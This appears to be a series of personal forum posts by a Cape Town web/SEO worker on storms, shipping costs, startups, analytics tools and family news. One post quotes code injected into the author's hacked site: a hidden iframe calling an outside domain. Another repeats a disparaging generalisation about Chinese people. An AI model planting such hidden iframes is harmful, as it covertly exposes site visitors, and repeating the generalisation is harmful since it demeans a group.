The Western Cape is just on the other side of some incredibly strong winds and a storm that will go down in memory.. on Sunday night my in-laws had gusts of 177KPH (110MPH) in the coastal town of Bettys Bay, in the global scale of Hurricanes - it's a Cat 2. The next day had steady winds of 148KPH.. devastating floods, winds and people still without power even this morning.

If you skip through this YouTube video you'll get a taste; https://www.youtube.com/watch?v=Sw5bVSWFu7A

https://www.youtube.com/watch?v=e_zKi5hfZZ8

I spent about 10 minutes disecting the room (screens, maps etc..) I was calmer afterwards 

Intuitive Machines: Moon lander pictured on its side with snapped leg
https://www.bbc.com/news/science-environment-68425211

"We went from basically a cocktail straw of data coming back to a boba tea-sized (very large) straw of data coming back."

If you fancy being dug up and discovered in 20,000 years, you need to start planning ahead now!

QuoteFor starters, I could try to get frozen somewhere cold and stable. After all, prehistoric people have been found inside Alpine glaciers, such as Oetzi, a man who lived around 5,000 years ago. Or I could go lie down in a desert cave, so long as I sealed myself off from scavengers. Ancient remains up to 10,000 years old have been found preserved in dry caves in Peru. And then there are peat bogs.

https://www.bbc.com/future/article/20220324-how-to-maximise-your-chances-of-being-fossilised

As far as I know this came up today for the first time in South Africa (or at least Cape Town).

QuoteThe index shows Asia-U.S. West Coast rates at $18,345, six times higher than a year ago, and the price for shipping to the U.S. East Coast quadrupled to $19,620 per forty-foot equivalent unit. Rates from Asia to Northern Europe climbed 4% since last week, and are more than eight times higher than a year ago and 2.5 times more than at the start of the year.

• Wildfires have disrupted inland intermodal traffic on two major rail lines serving the Port of Vancouver, Canada.
• Devastating floods in Europe knocked out factories and river barge service.
• COVID lockdowns have created factory and port backlogs in Vietnam and Malaysia.
• Civil unrest in South Africa forced ocean terminals in Durban to close.
• Typhoon In-fa is causing shipping delays in China.

A friend of mine here in Cape Town who is in wholesale footwear industry has the leather shipped from India to be manufactured in China and then shipped to South Africa has experienced a 600% increase in container fees over this year alone, effectively putting the price up $3 per shoe - but when you ship between 50,000 and 80,000 shoes in one go it tends to eat into profits.

https://www.freightwaves.com/news/are-you-shipping-me-32000-container-move-from-china-to-la

http://www.businessinsider.com/steve-case-rise-of-the-rest-revolution-startup-culture-2018-5

QuoteAOL cofounder Steve Case is betting $150 million that the future of startups isn't in Silicon Valley or New York...

QuoteSilicon Valley is so expensive that people who make $400,000 think they're middle-class

QuoteMiddle-class Americans earned about $39,000 to $118,000 in 2016, according to Pew's definition, but middle-class incomes vary at the state and city levels.

http://www.businessinsider.com/middle-class-income-us-city-san-francisco-2018-2

The clip is way to short, could easily be a full documentary but still interesting none the less;

http://www.bbc.com/news/av/business-43056466/hangzhou-and-the-alibaba-effect

QuoteSYDNEY (Reuters) - Australian surfwear seller Billabong International Ltd (BBG.AX) agreed to a buyout from its top shareholder and major lender Oaktree Capital Management LP on Friday, in a deal valuing the company at about A$197.7 million ($155 million).

The U.S. private equity firm is betting on cost savings and a pick-up in consumer sentiment with its mid-summer buyout of the struggling firm, allowing it to bring brands such as RVCA, Element and Von Zipper into a portfolio already including Quicksilver, Roxy and DC Shoes.

https://www.reuters.com/article/us-billabong-international-ltd-m-a-board/boardriders-inc-to-buy-australias-billabong-for-about-155-million-idUSKBN1ET2KL

I have been doing some big site audits over the last 2 months and I've been using this tool (free version) over the last few weeks;

http://www.siteliner.com/

Nothing particularly ground breaking, but it's nice and does the job

Any ingress players out there?

It seems that Google analytic's are giving less and less information away for natural search/SEO traffic than ever before - its a free service so I can't complain to much, but that brings up another question as what to recommend to new and existing clients.

What are you guys using at the moment other than Google Analytics?

As a side note I have been using trackur.com for social media monitoring/tracking  and I've been relatively happy with the results, I'm just wondering if anyone has any other tools/services they would recommend.

My wife is booked in to have a cesarean (she has a low lying placenta so we can't go natural) on Thursday morning to have our first baby - a little girl

Her bag has been packed for a few weeks now - and it's going to be an early start as the c-section is booked for 7:30am

Just taking in the last few days before the big arrival...

I got an email on Friday from my webhost that a site of mine had some dodgy code added by a thrid party, they removed the code and installed a backup from the previous evening they then updated passwords etc...

I check this morning and the code is back - the SOB is using a hidden DIV but also leaving their URL in there as well! I decided to call the moron from Pakistan and besides his obvious shock that he had been caught he also asked if I wanted the same doing for any of my own clients!

I called up my hosts and they say that there is a plesk vulnerability and a security update was issued last night, just a heads up if you use Plesk to make sure your hosting company is on the ball!

<iframe style="visibility: hidden; display: none; display: none;" src="http://websolutionspk.com/referer2.php?id={8A2E1F52-25BE-4959-8B36-5353479723B7}"></iframe>

http://www.buzzfeed.com/mjs538/the-most-powerful-photos-of-2011

Powerful images of 2011 - image 20 tugs the strings a little, my miniature daschund and rottweiler can sit on the couch next to me tonight  

From Mr Young off Facebook 

This guy has been working on this canvas for a while I think!

http://fiverr.com/the_beergut_man/draw-your-holiday-greeting-on-my-beergut

Funny note on this Ebay auction for a Chinese made 256gb flash memory stick;

http://cgi.ebay.co.uk/DT-256gb-usb-drive-/250817522105

QuoteAre Chinese trustworthy? No.

I just got an email from Yahoo letting me know they are closing Mybloglog at the end of May.

http://news.cnet.com/8301-13577_3-20035819-36.html

Its a shame it wasnt a bad blog directory, if I was ever doing any blog type link building then Mybloglog was always second on the list after Blogcatalog.

Starting today Groupon have been hammering the content network in South Africa, must be a real big push going on down here!

It feels like I have seen their fucking ads on every site I have visited... includng the ones I run!

</Grumble>